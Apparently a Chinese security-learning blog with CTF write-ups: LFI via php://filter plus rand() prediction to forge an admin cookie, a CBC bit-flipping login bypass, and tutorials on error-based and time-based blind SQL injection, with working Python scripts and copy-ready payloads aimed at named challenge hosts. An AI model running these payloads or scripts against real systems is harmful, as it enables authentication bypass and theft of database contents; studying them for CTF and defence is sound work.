登入进去发现了一条笔记,笔记内容大致是说只有管理员才可以删除笔记,末尾还有一个hint,我们打开这个./dbinit.sql,发现弹出一个下载界面,既然是提示,那就下下来看下吧。

这里提供了一个很有用的信息就是数据库里面有一个flag表,我们从里面应该就能得到我们所要的flag了,所以这里肯定会涉及到sql注入的地方,不过,在哪里注入是一个未知的问题。
随后我还点了点新建笔记,删除笔记的时候提示我只能是admin才能操作。

LEF漏洞读取文件

没啥可以利用的东西了,我们可以试试之前考虑过的文件包含漏洞,构造

?action=php://filter/read=convert.base64-encode/resource=./&mode=index

成功读取了文件,base64解码得到了index.php的内容。接下来就好办多了,把已知文件名的内容全部读取出来。用扫描器扫了扫,发现了其他的一些文件。

全部把源码读取出来

源码审计

先来总结一下我们所得到的几个文件的源码:
index.php
common.php
admin/login.php
admin/index.php
还有一些其他的源码不太重要我就不列举了。
首先看看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function d_addslashes($array){

foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{

$array[$key] = d_addslashes($array[$key]);
}
}
return $array;

}

$_POST=d_addslashes($_POST);
$_GET=d_addslashes($_GET);

可以看到这里使用了转义’来防止我们使用sql注入,那这样一般来说sql注入是行不通的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include_once('common.php');

if(!isset($_GET['action'])||!isset($_GET['mode'])){

header("Location: ./index.php?action=front&mode=login");

}elseif(!preg_match('/\.{2}/is',$_GET['action'])&&preg_match('/^[0-9A-Za-z]+$/is',$_GET['mode'])){
$action=$_GET['action'];
$mode=$_GET['mode'];
$file=$action.'/'.$mode.'.php';

// echo $file;

}else{

die("Invalid Request!");
}

和我们之前猜想的一致,动态链接果然是通过$file=$action.’/‘.$mode.’.php’;来读取我们所要的文件的。此后遇到这种情况一般都可以这样考虑,不过有些题目如果过滤了,那再去考虑如何绕过过滤。
index.php应该是没有什么可值得审计的了,接下来该审计的地方就是admin/login.php这个点了,common.php里面的配置我们在需要的时候再去看。
这是admin/login.php的一些主要内容

简单分析以下就是,首先判断用户输入的用户名和密码是否有效,这里用到了CSRFTOKEN来判断,然后再去数据库中查询我们所输入的用户名和密码是否正确,其实这里是可以尝试注入攻击的,但是我们所要的数据不在这里,所以也没有攻击的必要。

1
2
3
4
5
6
7
8
function set_login($uname,$id,$level){
$_SESSION['userid']=$id;
$_SESSION['level']=$level;

$endata=encode($uname);
setcookie("uid","$uname|$endata");

}

这是set_login函数,它把id和level赋给了两个session中的值,然后值得注意的是它把uname|和encode加密后的uname拼接在了一起作为uid,并且把它设为了cookies,可以看到这里虽然进行了登入验证,但是它在跳转到admin/index.php的时候,身份验证是通过cookies来验证的,所以这里我们可以通过构造cookies来绕过admin/login.php直接登入admin/index.php。
接下来看看admin/index.php

看看验证登入的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function check_login(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
return $_SESSION['userid'];

}else{

return FALSE;

}

}

只是把uid还原了而已,所以我们是可以通过构造uid来实现绕过的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function get_level(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){

if($_SESSION['level']!=="0"){

return $_SESSION['level'];
}else{
return FALSE;

}
}else{

return FALSE;
}

}

level由于一开始我们登入就默认赋值为了1,所以是没必要去构造level的。接下来可以试着去攻击了。

构造cookies绕过

先来看看encode是如何加密的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function rand_str($lenth=16){
$rand=[];
$_str="wh";
while($lenth){
$rand[]=$_str[rand(0,strlen($_str)-1)];
$lenth--;
}
// var_dump($rand);
return implode($rand);
}



if(!isset($_SESSION['SECURITY_KEY'])){

$_SESSION['SECURITY_KEY']=rand_str(6);

}



function encode($str){
return md5($_SESSION['SECURITY_KEY'].$str);

}

首先是随机生成一个6位的key然后和username经过md5加密,这里有一个难点就是rand()函数随机从h和w取,这一般对我们来说是无法得到key的,但是rand()函数其实是可预测的,它是一个伪随机函数生成器,原理就不多说了。详细参考这篇文章:http://www.freebuf.com/articles/web/99093.html
要预测就必须要有经过rand()函数生成的前33位数据,所以除了一开始的6位,哪里还有呢?

1
2
3
4
if(!isset($_SESSION['CSRF_TOKEN'])){
$_SESSION['CSRF_TOKEN']=rand_str(16);

}

还有TOKEN,所以我们可以通过两次访问来获取共计44位的数据,来预测下一次生成的key。直接贴塔主的脚本吧。不过塔主的脚本只是针对随机取的字符串只存在少数的情况下,通过爆破来实现的。

import requests
import re
import itertools
import random
import hmac
import hashlib
import sys
import string
rand = 'wh'    //根据需要自行更改
get_token = "http://202.98.28.108:10013/7sghfe673jd3/index.php?action=admin&mode=login"
test_cookie = "http://202.98.28.108:10013/7sghfe673jd3/index.php?action=admin&mode=index"

def get_csrf_token(res):
    rex = re.search(r'\S*<input type="hidden" name="TOKEN" id="password" value="(\w*)">', res.content)
    print rex.group(1)
    return rex.group(1)


def test_token(s,screat,phpsessionid):

 # _cookie=s.cookies
 # requests.utils.add_dict_to_cookiejar(_cookie,{"uid":"admin%7c"+hash_hmac(screat)})

    s.headers['cookie']=""
    s.headers['Cookie']="uid=admin%7c"+hash_hmac(screat)+"; "+phpsessionid


    res=s.get(test_cookie)
    if res.content.find("not login")<0:
        print "key",screat
        print "cookies",s.headers['Cookie']
        return True
    else:
        print "key:",screat,"failed!"
        return False


def hash_hmac(data):
    hash=hashlib.md5()
    hash.update(data+"admin")
    # h = hmac.new(key, data, hashlib.md5)
    return hash.hexdigest()

def rand_str(length):
    return ''.join(random.choice(string.letters + string.digits) for _ in range(length))

def calc_maybe(lst):
    prd = []
    for i in lst:
        prd.append((i, i+1))
    return itertools.product(*prd)


flag = True
while flag:
    rand_lst = []
    s = requests.session();
    s.headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
                      "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
                      ".0.2704.63 Safari/537.36"
    }


    s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(26))
    phpsessionid=s.headers['Cookie']
    for i in range(2):
        for j in range(2):
            for k in range(2):
                for l in range(2):
                    for m in range(2):
                        for n in range(2):
                            secret = rand[i]+rand[j]+rand[k]+rand[l]+rand[m]+rand[n]
                            if test_token(s, secret, phpsessionid):
                                flag = False
                                break
                    if flag ==False:
                        break
                if flag == False:
                    break
            if flag == False:
                break
        if flag == False:
            break
    if flag == False:
        break


现在我们得到了uid以及登入时验证的phpsessid,可以通过火狐插件来修改cookies,直接以admin身份登入。

获取我们所要的信息


可以看到这里只有一个查询功能,点开。

发现这里只有一个查询前多少条的功能。先利用LEF漏洞看看源码。

这里有一个is_numeric()函数,我们只能输入数字,0e类型,还有十六进制。是无法输入字符串的。不过,仔细看看最初的sql文件。

这里的num是字符串形式,也就是说,我们输入的hex值,是可以被当作字符来处理的。所以我们可以通过把我们的查询语句转为hex值然后进行查询。值得注意的是note是有四列的。

语句如上,所以不用加’闭合,前面的条数一定要比数据库有的条数少,要不然会报错。所以查询语句为2 union select 1,flag,3,4 from flags
经过处理变为0x3220756e696f6e2073656c65637420312c666c61672c332c342066726f6d20666c616773
拼接起来就是select * from note limit 0,2 union select 1,flag,3,4 from flags
接着提交就能查出flag了,如果不是题目那么我们是可以通过注入取拿shell了。

写在最后

这一次的流程的确是有很多很多的坑,我归纳起来也用了将近3天RCTF日常爆零,安恒又不会打,ISCC新放出的题目也不会做,太垃圾了。欸。。。。。。。。。。。。

CBC字节反转攻击

前言

最近在比赛中遇到了一道挺有意思的题目,密码学和web的结合让我学到了很多不错的知识,之前也有类似的题目,例如上次的Hash长度拓展攻击,这一次的是CBC字节反转攻击,和它有着异曲同工之妙。

CBC加解密原理


这是CBC模式加密的流程图,这种加密模式和Hash加密是相似的,都是前一部分加密的字符用于后一部分加密,具体流程是初始生成一个IV值,然后把字符按照16字节为一个单位进行分组(不足时用特殊字符填充)和IV值进行异或处理,得到的字符串使用密钥进行加密,然后把加密后的字符作为下一步的IV值,重复操作直到所有字符串加密完成。

解密的过程就不多说了。

异或

异或操作(Xor)是对二进制数据进行的运算操作,是一个数学运算符。它应用于逻辑运算。异或的数学符号为“⊕”,计算机符号为“xor”。其运算法则为:
a⊕b = (¬a ∧ b) ∨ (a ∧¬b)
如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0。例如A=10010100,B=00100111。那么A Xor B =01001100。如果C = A Xor B ,那么A Xor B Xor C =0并且其中两个异或,都能得到第三者。

如何利用


这是大手子原理利用的图,这里可以注意到前一块Ciphertext用来产生下一块明文,如果我们改变前一块Ciphertext中的一个字节,然后和下一块解密后的密文xor,就可以得到一个不同的明文,而这个明文是我们可以控制的。利用这一点,我们就欺骗服务端或者绕过过滤器。基本的理论都讲完了,那么从题目中来理解如何利用的。
这是ISCC上的一道题目,打开题目地址,有点类似注入的题目,但是f12过后发现题目给出了源码。打开index.txt发现源码。
我们来理一理这些代码是如何执行的,首先是登入的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>

如果我们输入了username和password那么页面会先把username转化为字符串形式,这里是为了防止我们通过数组形式来绕过下面的username=admin,再waf过滤,这里我们的sql注入是不太可行的。如果我们输入的username为admin那么页面回显错误信息然后直接退出,不为admin那么接着调用了login()以及show_homepage()函数,如果我们通过其他方式给username赋值了,那么跳到check_login()和show_homepage()两个函数上。那我们接着来看这些函数。
login()

1
2
3
4
5
6
7
8
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

show_homepage()

1
2
3
4
5
6
7
8
9
10
11
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}

整体来说就是,先把我们输入进去的username和password序列化,然后把username的值赋给$_SESSION[“username”],如果为admin,那么输出flag,如果不为admin,则提示只有admin才能看flag。
如果按照上述常规的操作进行登入,那肯定是不行的,这里有一个矛盾,如果我们传入username为admin那么会提示我们You are not real admin!,但是我们不传入admin,那么就会提示我们只用admin才能看flag。所以我们需要考虑如何来绕过。所以接着看另一条路的函数
check_login

1
2
3
4
5
6
7
8
9
10
11
12
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

这里我们是在没有传入username和password之后所调用的,这里我们需要通过cookies传入一个iv值和一个cipher值,然后cipher经过各种解密,反序列化后把username赋给$_SESSION[‘username’]然后进行身份的验证。
分析了源码发现两种登入方式独立开来并没有什么可以利用的东西,但是如果我们把两种方式结合起来,在他们中间那段可进行人为操作的过程中更改数据,那么是可以做到移花接木的。

具体操作

1 传参抓包
把username和password传参过去,注意username不能为admin。

2 更改数据
我们这个时候得到了密文和初始的iv值,那么可以通过cbc反转字节攻击来更改我们之前的数据。那么如何利用CBC反转字节呢?
我们已知了加密后的文本,以及明文,那我们可以来修改原来的字符串。
cipher

1
gEc6%2BRRLjY0Bf51gQLMCB1a%2F9wD2106%2BeTzmU%2Baum9Xfin%2BlY%2FF9FfcoPd7%2Buls1Q9sOQJ4zfbnen6c5cxFLcQ%3D%3D

进行处理后变为

1
�G:�K���`@�V����N�y<�S殛�ߊ�c�}�(=���[5C�@�3}�ޟ�9sKq

所对应的明文
为了便于理解,我们直接以16字节为一块分开。这是反序列化后的明文。
s:2:{s:8:”userna
me”;s:5:”xdmin”;
s:8:”password”;s
:3:”123”;}
接下来就是把对应的位置进行更改。
假设我们更改的明文为A
IV值对应的是B
密文为C
如果我们构造 C Xor A Xor “我们所需的字符”,那是不是就变成了A Xor B Xor A Xor “我们所需的字符”了?这不就等于B Xor “我们所需的字符”了吗?所以我们可以直接利用这个攻击来更改我们的字符。这里直接用大手子的脚本跑把吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding=utf-8
import base64
import requests
import urllib
iv_raw='bR1nkWOLhxJ4rKGJMBF36w%3D%3D' #这里填写第一次返回的iv值
cipher_raw='gEc6%2BRRLjY0Bf51gQLMCB1a%2F9wD2106%2BeTzmU%2Baum9Xfin%2BlY%2FF9FfcoPd7%2Buls1Q9sOQJ4zfbnen6c5cxFLcQ%3D%3D' #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw: " + iv_raw
print "cipher_raw: " + cipher_raw
print "[*]对cipher解码,进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"xdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"xdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('x') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改,原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher:" + xor_cipher

3 传新参
注意这个时候我们就不能把username和password传参过去了,把我们所得到的cipher值和初始的iv值给传过去。

4 修复所更改的数据块
这个时候发现我们传的cipher无法正常反序列化,这个时候我们就需要更改iv值来使得cipher能够正常反序列化,原理和上述一致,脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
#coding=utf-8
import base64
import urllib
cipher = 'EK9/OgEKt1XNxlpRcDv8+21lIjtzOjU6IntkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7fQ=='#填写提交后所得的无法反序列化密文
iv = 'bR1nkWOLhxJ4rKGJMBF36w%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):
newIv += chr(ord(right[i])^ord(cipher[i])^ord(iv[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))

5 再一次传参
把新得到的iv值传入,得到flag

sql注入之报错注入

报错注入

报错注入是在有返回错误信息的情况下尝试使用的一种注入方式,一般是在使用延时注入之前考虑的,之所以最后归纳是因为它的注入语句实在是太过冗长,而且并没有什么逻辑规律可言,理解起来十分困难。
报错注入可以主要可以分为以下几种方式:
floor函数报错
UpdateXml函数报错
extractvalue函数报错
后两种方式具有一定的局限性,报错查询的内容长度最长为32位。

floor()报错

在如何使用floor()报错注入的时候,应该先理解报错注入语句的意义。主要用到以下几个函数:
floor():向下取整
rand():生成随机数
count():统计结果
简单来说就是在查询的时候让其rand()产生不确定的数在使用order by排序时产生报错来返回信息。
具体参考这篇文章
我就直接给出语句:

1 数据库 and (select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
2 库名 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
3 表名 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=数据库名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
4 列名 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
5 字段 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,列名,0x3a,列名,0x23) FROM 表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+

至于其他的语句自己慢慢测试,语句不限这一种,报错注入的成因并不是语句顺序的问题而是在于其逻辑。

Updataxml报错

并没有深入学习Mysql语句,所以对Updataxml()这个函数也是不太了解的,直接贴出具体的报错注入语句吧。。。

1 数据库 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) –+
2 库名 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM information_schema.schemata limit 0,1),0x7e),1) –+
3 表名 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM information_schema.tables where table_schema=库名 limit 0,1),0x7e),1) –+
4 列名 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM information_schema.columns where table_name=表名 limit 0,1),0x7e),1) –+
5 字段 and updataxml(1,concat(0x7e,(select group_concat(列名) from 表名),0x7e),1) –+

Extractvalue报错

这个函数的原理和上个函数差不多,具体格式如下

and extractvalue(1, concat(0x7e, (select database()),0x7e)) –+

其他的和上面类似,一一对照就行了

sql注入的内容还远远没有完结,之后会在题目中给出一些其他的注入方式,以及知识。

sql注入之时间盲注

时间盲注

上一种注入方式是在虽然没有回显位,但是正确错误的页面有所不同的,那如果正确页面和错误页面都相同呢?我们这是可以使用第二种注入–延时注入来判断我们所要的信息。
主要用到的是sleep()函数如果前面的语句为真,那么sleep()就会调用,页面回显就会有延迟,不过缺点也很明显,如果网络不好的话,报错注入就会出现误报的情况。
一般我们使用

if(,1,2)
case when() then else end

这两个条件语句来进行逻辑判断
下面这是一个例子

这个网站现在什么都不显示,但是我们可以试试sleep()是否有用。

发现响应时间过长,sleep函数起了作用,接下来我们就可以试着去爆破了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding=utf-8
import string
import time
import requests
database = ""
for i in range(1,20):
stime = time.time()
url = "http://47.94.13.75/edu/payload/sql/time.php?id=1' and case when(select length(database()) = %d) then sleep(10) else sleep(0) end --+" %(i)
r1 = requests.get(url)
if time.time() - stime > 10:
length = i
break
print length
for i in range(1,length+1):
for j in range(65,123):
stime = time.time()
url2 = "http://47.94.13.75/edu/payload/sql/time.php?id=1' and case when((select ascii(substr(database(),%d,1)))= %d) then sleep(10) else sleep(0) end --+"%(i,j)
r2 = requests.get(url2)
if time.time() - stime > 10:
database = database + chr(j)
break
print database
print database

爆破出数据库名。接下来的几个语句

1
2
' and case when(ascii(substr((select table_name from information_schema.tables where table_schema="edutest" limit 0,1),1,1)) = 65) then sleep(10) else sleep(0) end --+"
........

之后和上一次的脚本类似,理解一下自己就能去试试爆破出信息来了。

写在最后

无力感,什么都做不好,什么都比不过人家,没实力又太骄傲,我可真是个废物。浮躁浮躁,一天都不知道在干些什么,真是糟糕透了。重新学吧,起码要在大二前,拿出一点成绩。

本站总访问量